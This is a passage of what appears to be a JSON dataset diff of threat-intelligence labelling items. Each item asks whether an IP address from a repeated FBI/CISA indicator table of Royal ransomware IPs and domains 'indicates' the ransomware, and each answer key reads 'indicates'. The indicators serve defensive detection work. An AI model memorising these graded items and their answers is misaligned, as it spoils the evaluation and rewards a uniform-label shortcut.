2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n197.94.67.207\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n23.111.114.52\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n41.100.55.97\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n41.107.77.67\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n41.109.11.80\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n41.251.121.35\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n41.97.65.51\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n42.189.12.36\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n45.227.251.167\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  December 2022\nparkerpublic.com  December 2022\npastebin.mozilla.org/Z54Vudf9/raw  December 2022\ntumbleproperty.com  December 2022\nmyappearinc.com/acquire/draft/c7lh0s5jv  January 2023\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n5.44.42.20\n### Target Entity: Royal\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\n**Indicators of Compromise (IOCs)**\nSee Tables 1 and 2 for Royal ransomware IOCs obtained by FBI during threat response activities as of January 2023.\n_**Update November 13, 2023**_\nSee Tables 3 and 4 for Royal and Blacksuit Ransomware IOCs as of June 2023. See Table 5 for a list of legitimate software used by Royal and Blacksuit threat actors identified through FBI investigations as of June 2023.\n_**End Update**_\n**Note** : Some of the observed IP addresses are several months old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action, such as blocking.\n_Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023_ **IOC**  **Description**\n------\n**Malicious IP**  **Last Activity**\n**Malicious Domain**  **Last Observed**\n.royal  Encrypted file extension\nREADME.TXT  Ransom note\n102.157.44.105  November 2022\n105.158.118.241  November 2022\n105.69.155.85  November 2022\n113.169.187.159  November 2022\n134.35.9.209  November 2022\n139.195.43.166  November 2022\n139.60.161.213  November 2022\n148.213.109.165  November 2022\n163.182.177.80  November 2022\n181.141.3.126  November 2022\n181.164.194.228  November 2022\n185.143.223.69  November 2022\n186.64.67.6  November 2022\n186.86.212.138  November 2022\n190.193.180.228  November 2022\n196.70.77.11  November 2022\n197.11.134.255  November 2022\n197.158.89.85  November 2022\n197.204.247.7  November 2022\n197.207.181.147  November 2022\n197.207.218.27  November 2022\n197.94.67.207  November 2022\n23.111.114.52  November 2022\n41.100.55.97  November 2022\n41.107.77.67  November 2022\n41.109.11.80  November 2022\n41.251.121.35  November 2022\n41.97.65.51  November 2022\n42.189.12.36  November 2022\n45.227.251.167  November 2022\n5.44.42.20  November 2022\n61.166.221.46  November 2022\n68.83.169.91  November 2022\n81.184.181.215  November 2022\n82.12.196.197  November 2022\n98.143.70.147  November 2022\n140.82.48.158  December 2022\n147.135.36.162  December 2022\n147.135.11.223  December 2022\n152.89.247.50  December 2022\n172.64.80.1  December 2022\n179.43.167.10  December 2022\n185.7.214.218  December 2022\n193.149.176.157  December 2022\n193.235.146.104  December 2022\n209.141.36.116  December 2022\n45.61.136.47  December 2022\n45.8.158.104  December 2022\n5.181.234.58  December 2022\n5.188.86.195  December 2022\n77.73.133.84  December 2022\n89.108.65.136  December 2022\n94.232.41.105  December 2022\n47.87.229.39  January 2023\nsombrat.com  October 2022\ngororama.com  November 2022\nsofteruplive.com  November 2022\naltocloudzone.live  December 2022\nciborkumari.xyz  December 2022\nmyappearinc.com  